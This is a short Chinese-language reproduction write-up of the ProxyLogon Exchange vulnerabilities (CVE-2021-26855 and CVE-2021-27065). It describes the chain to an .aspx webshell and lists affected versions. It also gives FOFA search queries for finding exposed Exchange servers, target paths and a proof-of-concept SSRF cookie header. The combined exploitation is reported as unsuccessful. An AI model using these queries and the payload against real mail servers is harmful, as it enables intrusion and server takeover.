一、漏洞背景
Exchange邮件系统最新爆出两个组合漏洞利用，可直接获取目标邮件服务器主机权限。CVE-2021-26855 SSRF 漏洞 ； CVE-2021-27065 任意文件写入漏洞。
利用原理：通过ssrf漏洞读取到邮箱用户的SID——>通过有效SID结合任意文件写入漏洞上传以.aspx结尾的文件，在其中插入一句话木马——>造成交互式shell。
二、影响范围
Microsoft Exchange 2013
Microsoft Exchange 2016
Microsoft Exchange 2019
Microsoft Exchange 2010
三、CVE-2021-26855 SSRF复现
**语法：
microsoft exchange 2013：
app="Microsoft-Exchange-2013"||app="Microsoft-Exchange-Server-2013-CU21"||app="Microsoft-Exchange-Server-2013-CU17"||app="Microsoft-Exchange-Server-2013-CU23"||app="Microsoft-Exchange-Server-2013-CU13"||app="Microsoft-Exchange-Server-2013-CU22"||app="Microsoft-Exchange-Server-2013-CU11"||app="Microsoft-Exchange-Server-2013-CU2"||app="Microsoft-Exchange-Server-2013-CU16"||app="Microsoft-Exchange-Server-2013-CU19"||app="Microsoft-Exchange-Server-2013-CU3"||app="Microsoft-Exchange-Server-2013-CU18"||app="Microsoft-Exchange-Server-2013-CU5"||app="Microsoft-Exchange-Server-2013-CU20"||app="Microsoft-Exchange-Server-2013-CU12"||app="Microsoft-Exchange-Server-2013-CU15"||app="Microsoft-Exchange-Server-2013-CU10"||app="Microsoft-Exchange-Server-2013-CU9"||app="Microsoft-Exchange-Server-2013-CU6"||app="Microsoft-Exchange-Server-2013-CU7"||app="Microsoft-Exchange-Server-2013-CU1"||app="Microsoft-Exchange-Server-2013-CU14"||app="Microsoft-Exchange-Server-2013-CU8"||app="Microsoft-Exchange-Server-2013-RTM"||app="Microsoft-Exchange-Server-2013-SP1"||app="Microsoft-Exchange-2013"
microsoft exchange 2016：
app="Microsoft-Exchange-Server-2016-CU19"||app="Microsoft-Exchange-Server-2016-CU3"||app="Microsoft-Exchange-Server-2016-CU12"||app="Microsoft-Exchange-Server-2016-RTM"||app="Microsoft-Exchange-Server-2016-CU7"||app="Microsoft-Exchange-Server-2016-CU17"||app="Microsoft-Exchange-Server-2016-CU2"||app="Microsoft-Exchange-Server-2016-CU1"||app="Microsoft-Exchange-Server-2016-CU14"||app="Microsoft-Exchange-Server-2016-CU5"||app="Microsoft-Exchange-Server-2016-CU11"||app="Microsoft-Exchange-Server-2016-CU9"||app="Microsoft-Exchange-Server-2016-CU16"||app="Microsoft-Exchange-Server-2016-CU10"||app="Microsoft-Exchange-Server-2016-CU6"||app="Microsoft-Exchange-Server-2016-CU13"||app="Microsoft-Exchange-Server-2016-CU18"||app="Microsoft-Exchange-Server-2016-CU8"||app="Microsoft-Exchange-Server-2016-CU4"||app="Microsoft-Exchange-2016-POP3-server"
microsoft exchange 2019：
app="Microsoft-Exchange-Server-2019-CU5"||app="Microsoft-Exchange-Server-2019-CU3"||app="Microsoft-Exchange-Server-2019-Preview"||app="Microsoft-Exchange-Server-2019-CU8"||app="Microsoft-Exchange-Server-2019-CU1"||app="Microsoft-Exchange-Server-2019-CU7"||app="Microsoft-Exchange-Server-2019-CU2"||app="Microsoft-Exchange-Server-2019-CU6"||app="Microsoft-Exchange-Server-2019-RTM"||app="Microsoft-Exchange-Server-2019-CU4"
microsoft exchange 2010：
app="Microsoft-Exchange-2010-POP3-server-version-03.1"||app="Microsoft-Exchange-Server-2010"
路径：
/owa/auth/x.js
/owa/auth/Current/themes/resources/logon.css
/owa/auth/Current/themes/resources/...
/ecp/default.flt
/ecp/main.css
/ecp/<single char>.js
POC:
Cookie: X-AnonResource=true; X-AnonResource-Backend=*******/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;
注：这里注意X-BEResource的值，详情去了解404的漏洞分析。
四、结合使用
？？？没成功
参考文章：
https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits/
https://www.praetorian.com/blog/reproducing-proxylogon-exploit/
https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265
https://www.freebuf.com/articles/web/265539.html
https://nosec.org/home/detail/4689.html
https://paper.seebug.org/1501/